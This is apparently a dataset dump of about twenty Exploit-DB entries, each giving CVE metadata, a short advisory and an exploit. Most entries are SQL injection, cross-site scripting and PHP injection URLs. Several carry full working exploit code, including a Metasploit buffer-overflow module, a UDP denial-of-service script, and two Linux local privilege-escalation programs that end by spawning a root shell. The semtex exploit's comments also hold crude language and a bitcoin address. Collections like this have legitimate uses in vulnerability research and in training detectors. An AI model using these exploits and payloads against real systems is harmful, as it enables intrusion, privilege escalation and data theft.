QLWD/code_shield huggingface dataset:
标题: DUportal 3.1.2 - 'inc_rating.asp' Multiple SQL Injections EDB-ID: 25484 CVE: 2005-1236 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13288/info
  
DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/includes/inc_rating.asp?iChannel=8&iCat=231&iData='SQL_INJECTION&nChannel=Products&iRate=5
http://www.example.com/test_DUportal/includes/inc_rating.asp?iChannel=8&iCat=231&iData=86&nChannel=Products&iRate='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25484
标题: RaidenFTPd 2.4 - Unauthorized File Access EDB-ID: 25486 CVE: 2005-1480 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/13292/info

RaidenFTPD is prone to a vulnerability that could allow unauthorized access to files outside the FTP root. The issue exists due to a lack of sufficient sanitization performed on 'SITE urlget' requests. Directory traversal sequences may be passed as a parameter for this request.

This vulnerability allows a remote attacker to read files outside of the FTP document root directory. An attacker may read files with the privileges of the FTP server process.

This issue was reported to affect all versions of RaidenFTPD prior to 2.4.2241.

quote site urlget file://\..\\boot.ini URL: https://www.exploit-db.com/exploits/25486
标题: Ocean12 Calendar Manager 1.0 - Admin Form SQL Injection EDB-ID: 25469 CVE: 2005-1223 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13279/info

Ocean12 Calendar Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/products/calendar/demo/admin/?Admin_ID=Admin' UNION ALL SELECT
id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,i d,id FROM settings WHERE
Admin_id='Admin&Password=1 URL: https://www.exploit-db.com/exploits/25469
标题: Serva 32 TFTP 2.1.0 - Buffer Overflow (Denial of Service) (PoC) EDB-ID: 25472 CVE: 2013-0145 类型: DOS 平台: WINDOWS 发布日期: 2013-05-15 漏洞利用脚本: #Serva 32 TFTP Buffer overflow DoS
#
#05/14/2013
#Sapling
#Vendor homepage http://www.vercot.com/
#Software Link:
#http://www.vercot.com/~serva/download/Serva_Non-Supporter_32_v2.1.0.zip
#Version 2.1.0 Only prior versions are not vulnerable
#Tested on Windows 8, Windows 7, Windows XP SP1-3
#CVE to be established today or tomorrow.
#
#This is the serva 32 Proof Of Concept exploit discovered and written by Sapling. At this
#time the exploit is only a denial of service but evidence show it may be controllable.
#The difficulty with controlling it at this point was the failure to overwrite the SEH
#chains or bypass them. The crash occurs when sending a message longer than 509 bytes long

#start of python file
import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
new.connect(('192.168.1.19', 69))
new.send('\x41'*510)
#end of python file URL: https://www.exploit-db.com/exploits/25472
标题: Neslo Desktop Rover 3.0 - Malformed Packet Remote Denial of Service EDB-ID: 25470 CVE: 2005-1204 类型: DOS 平台: MULTIPLE 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13281/info

Neslo Desktop Rover is prone to a remote denial of service. Reports indicate that the software will crash when a malformed packet is processed on TCP port 61427.

A remote attacker may exploit this condition crash the software and effectively deny service for legitimate users. 

20:23:48.778009 192.168.28.133.32771 > 192.168.28.129.61427: P [tcp sum ok]
1:13(12) ack 1 win 5840 (DF) (ttl 64, id 24051, len 64)

4500 0040 5df3 4000 4006 226e c0a8 1c85
c0a8 1c81 8003 eff3 90a8 d150 7cda 8afa
8018 16d0 daab 0000 0101 080a 0000 8cbe
0000 0000 6352 0100 0000 0000 0000 0000 URL: https://www.exploit-db.com/exploits/25470
标题: Netref 4.2 - 'Cat_for_gen.php' Remote PHP Script Injection EDB-ID: 25467 CVE: 2005-1222 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13275/info

A remote PHP script injection vulnerability affects Netref. This issue is due to a failure of the application to sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary PHP script code in the context of an affected Web server. This will facilitate a compromise of the host computer. 

http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php system($command);include($remote_script)?> URL: https://www.exploit-db.com/exploits/25467
标题: PHP Labs - '.proFile' Dir URI Cross-Site Scripting EDB-ID: 25468 CVE: 2005-1233 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13276/info

PHP Labs proFile is prone to a cross-site scripting vulnerability. As a result, attackers may embed hostile HTML and script code in a malicious link to the affected application. If the link is followed, the code may be rendered by the victim's browser in the context of the vulnerable site.

Exploitation could allow theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/index.php?act=load&dir=[XSS] URL: https://www.exploit-db.com/exploits/25468
标题: ECommPro 3.0 - 'Admin/login.asp' SQL Injection EDB-ID: 25466 CVE: 2005-1412 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13274/info

EcommProV3 is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/scart/admin/login.asp?AdminID=admin&AdminPWD='[SQL Injection]
http://www.example.com/scart/admin/login.asp?AdminID=admin&AdminPWD=''='[SQL Injection] URL: https://www.exploit-db.com/exploits/25466
标题: CityPost PHP LNKX 52.0 - 'message.php' Cross-Site Scripting EDB-ID: 25458 CVE: 2005-4670 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/13255/info

CityPost PHP LNKX is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'message.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/lnkx/message.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/25458
标题: Logwatch 2.6 Secure Script - Denial of Service EDB-ID: 25465 CVE: 2005-1061 类型: DOS 平台: LINUX 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13273/info

Logwatch is prone to a denial of vulnerability in the secure script.

This issue may be exploited by a local attacker who can inject a malicious string into a log file, causing a denial of service condition. As a result, the utility may not detect subsequent malicious activity. 

ogger -p authpriv.notice '+++ connection closed by localhost +++' URL: https://www.exploit-db.com/exploits/25465
标题: PHP Labs - '.proFile' File URI Cross-Site Scripting EDB-ID: 25473 CVE: 2005-1233 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13282/info

PHP Labs proFile is prone to a cross-site scripting vulnerability. As a result, attackers may embed hostile HTML and script code in a malicious link to the affected application. If the link is followed, the code may be rendered by the victim's browser in the context of the vulnerable site.

Exploitation could allow theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/index.php?act=delete&dir=&file=[XSS]
http://www.example.com/index.php?act=copy&dir=&file=[XSS]
http://www.example.com/index.php?act=rename&dir=&file=[XSS] URL: https://www.exploit-db.com/exploits/25473
标题: CityPost Simple PHP Upload - 'Simple-upload-53.php' Cross-Site Scripting EDB-ID: 25464 CVE: 2005-4671 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/13261/info

CityPost Simple PHP Upload is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'simple-upload-53.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/simple-upload-53.php?message=[XSS] URL: https://www.exploit-db.com/exploits/25464
标题: Microsoft Windows 98/2000 Explorer - Preview Pane Script Injection EDB-ID: 25454 CVE: 2005-1191 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/13248/info

Microsoft Windows Explorer is prone to a script injection vulnerability. This occurs when the Windows Explorer preview pane (Web View) is enabled on Windows 2000 computers. Windows 98/98SE/ME are also affected by this issue. If a file with malicious attributes is selected using Explorer, script code contained in the attribute fields may be executed with the privilege level of the user that invoked Explorer. This could be exploited to gain unauthorized access to the vulnerable computer in the context of the currently logged in user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25454-1.doc

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25454-2.doc

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25454-3.doc URL: https://www.exploit-db.com/exploits/25454
标题: phpBB 1.x/2.0.x - Knowledge Base Module 'KB.php' SQL Injection EDB-ID: 25451 CVE: 2005-1196 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/13219/info

Knowledge Base Module is affected by an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+1=0 URL: https://www.exploit-db.com/exploits/25451
标题: ERS Viewer 2011 - '.ERS' File Handling Buffer Overflow (Metasploit) EDB-ID: 25448 CVE: 2013-0726 类型: LOCAL 平台: WINDOWS 发布日期: 2013-05-14 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ERS Viewer 2011 ERS File Handling Buffer Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in ERS Viewer 2011
        (version 11.04). The vulnerability exists in the module ermapper_u.dll where the
        function ERM_convert_to_correct_webpath handles user provided data in a insecure
        way. It results in arbitrary code execution under the context of the user viewing
        a specially crafted .ers file. This module has been tested successfully with ERS
        Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Parvez Anwar', # Vulnerability Discovery
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0726' ],
          [ 'OSVDB', '92694' ],
          [ 'BID', '59379' ],
          [ 'URL', 'http://secunia.com/advisories/51725/' ]
        ],
      'Payload'        =>
        {
          'Space'    => 7516,
          'BadChars' => "\x22\x5c" +
            (0x7f..0xff).to_a.pack("C*") +
            (0x00..0x08).to_a.pack("C*") +
            (0x0a..0x1f).to_a.pack("C*"),
          'DisableNops' => true,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESP'
            }
        },
      'SaveRegisters'  => [ 'ESP' ],
      'DefaultOptions'  =>
        {
          'ExitFunction' => "process",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'ERS Viewer 2011 (v11.04)  / Windows XP SP3 / Windows 7 SP1',
            {
              'Offset' => 260,
              'Ret' => 0x67097d7a # push esp # ret 0x08 from QtCore4.dll
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 23 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),
      ], self.class)

  end

  # Rewrote it because make_nops is ignoring SaveRegisters
  # and corrupting ESP.
  def make_nops(count)
    return "\x43" * count # 0x43 => inc ebx
  end

  def exploit

    buf = rand_text(target['Offset'])
    buf << [target.ret].pack("V")
    buf << make_nops(8) # In order to keep ESP pointing to the start of the shellcode
    buf << payload.encoded

    ers = %Q|
DatasetHeader Begin
  Name    = "#{buf}"
DatasetHeader End
    |

    file_create(ers)
  end
end URL: https://www.exploit-db.com/exploits/25448
标题: Linux Kernel < 3.8.x - open-time Capability 'file_ns_capable()' Local Privilege Escalation EDB-ID: 25450 CVE: 2013-1959 类型: LOCAL 平台: LINUX 发布日期: 2013-05-14 漏洞利用脚本: /* userns_root_sploit.c by */
/* Copyright (c) 2013 Andrew Lutomirski.  All rights reserved. */
/* You may use, modify, and redistribute this code under the GPLv2. */
 
#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <linux/futex.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>
 
#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif
 
pid_t parent;
int *ftx;
 
int childfn()
{
  int fd;
  char buf[128];
 
  if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 &&
      errno != EWOULDBLOCK)
    err(1, "futex");
 
  sprintf(buf, "/proc/%ld/uid_map", (long)parent);
  fd = open(buf, O_RDWR | O_CLOEXEC);
  if (fd == -1)
    err(1, "open %s", buf);
  if (dup2(fd, 1) != 1)
    err(1, "dup2");
 
  // Write something like "0 0 1" to stdout with elevated capabilities.
  execl("./zerozeroone", "./zerozeroone");
 
  return 0;
}
 
int main(int argc, char **argv)
{
  int dummy, status;
  pid_t child;
 
  if (argc < 2) {
    printf("usage: userns_root_sploit COMMAND ARGS...\n\n"
           "This will run a command as (global) uid 0 but no capabilities.\n");
    return 1;
  }
 
  ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE,
             MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  if (ftx == MAP_FAILED)
    err(1, "mmap");
 
  parent = getpid();
 
  if (signal(SIGCHLD, SIG_DFL) != 0)
    err(1, "signal");
 
  child = fork();
  if (child == -1)
    err(1, "fork");
  if (child == 0)
    return childfn();
 
  *ftx = 1;
  if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0)
    err(1, "futex");
 
  if (unshare(CLONE_NEWUSER) != 0)
    err(1, "unshare(CLONE_NEWUSER)");
 
  if (wait(&status) != child)
    err(1, "wait");
  if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
    errx(1, "child failed");
 
  if (setresuid(0, 0, 0) != 0)
    err(1, "setresuid");
  execvp(argv[1], argv+1);
  err(1, argv[1]);
 
  return 0;
} URL: https://www.exploit-db.com/exploits/25450
标题: Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1) EDB-ID: 25444 CVE: 2013-2094 类型: LOCAL 平台: LINUX 发布日期: 2013-05-14 漏洞利用脚本: /*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 * 
 * EDB Note: Update ~ http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
 *                                 ~ https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
  int i,j,k;
  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  uint64_t kbase = ((uint64_t)current)>>36;
  uint32_t *fixptr = (void*) AB(1);
  *fixptr = -1;

  for (i=0; i<4000; i+=4) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void*) p[0];
    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
      if (((uint32_t*)uids)[k] != t[j+k]) goto next;
      for (i = 0; i < 8; i++) t[j+i] = 0;
      for (i = 0; i < 10; i++) t[j+9+i] = -1;
      return;
next:;    }
  }
}

void sheep(uint32_t off) {
  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  int fd = syscall(298, buf, 0, -1, -1, 0);
  assert(!close(fd));
}


int  main() {
  uint64_t  u,g,needle, kbase, *p; uint8_t *code;
  uint32_t *map, j = 5;
  int i;
  struct {
    uint16_t limit;
    uint64_t addr;
  } __attribute__((packed)) idt;
  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  memset(map, 0, SIZE);
  sheep(-1); sheep(-2);
  for (i = 0; i < SIZE/4; i++) if (map[i]) {
    assert(map[i+1]);
    break;
  }
  assert(i<SIZE/4);
  asm ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  u = getuid(); g = getgid();
  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
  setresuid(u,u,u); setresgid(g,g,g);
  while (j--) {
    needle = AB(j+1);
    assert(p = memmem(code, 1024, &needle, 8));
    if (!p) continue;
    *p = j?((g<<32)|u):(idt.addr + 0x48);
  }
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  asm("int $0x4");  assert(!setuid(0));
  return execl("/bin/bash", "-sh", NULL);
} URL: https://www.exploit-db.com/exploits/25444
标题: MVNForum 1.0 - Search Cross-Site Scripting EDB-ID: 25438 CVE: 2005-1183 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/13213/info

mvnForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/mvnforum/Search="><script>alert('XSS found here')</script> URL: https://www.exploit-db.com/exploits/25438
标题: eGroupWare 1.0 - '/tts/index.php?filter' SQL Injection EDB-ID: 25436 CVE: 2005-1203 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/13212/info
  
eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.
  
The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/tts/index.php?filter=u99[SQL]
http://egroupware/tts/index.php?filter=c99[SQL] URL: https://www.exploit-db.com/exploits/25436
标题: phpBB Remote - 'mod.php' SQL Injection EDB-ID: 25432 CVE: 2005-1170 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13209/info

A remote SQL injection vulnerability affects the datenbank module for phpbb. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. 

http://www.example.com/phpBB/moddb/mod.php?id='[SQL Injection] URL: https://www.exploit-db.com/exploits/25432
标题: OneWorldStore - 'OWListProduct.asp' Cross-Site Scripting EDB-ID: 25428 CVE: 2005-1162 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13185/info

OneWorldStore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/owListProduct.asp?bSub='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&idCategory=64 URL: https://www.exploit-db.com/exploits/25428
标题: OneWorldStore - 'OWContactUs.asp' Cross-Site Scripting EDB-ID: 25427 CVE: 2005-1162 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/13184/info

OneWorldStore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/owContactUs.asp?sAction=Contact&sName=&sEmail='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&sType=None+Specified&sDescription=dcrab URL: https://www.exploit-db.com/exploits/25427
标题: eGroupWare 1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25434 CVE: 2005-1202 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/13212/info

eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.

The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/index.php?menuaction=addressbook.uiaddressbook.edit&ab_id=11[XSS]
http://egroupware/index.php?menuaction=manual.uimanual.view&page=ManualAddressbook[XSS]
http://egroupware/index.php?menuaction=forum.uiforum.post&type=new[XSS]
http://egroupware/wiki/index.php?page=RecentChanges[XSS]
http://egroupware/wiki/index.php?action=history&page=WikkiTikkiTavi&lang=en[XSS]
http://egroupware/index.php?menuaction=wiki.uiwiki.edit&page=setup[XSS] URL: https://www.exploit-db.com/exploits/25434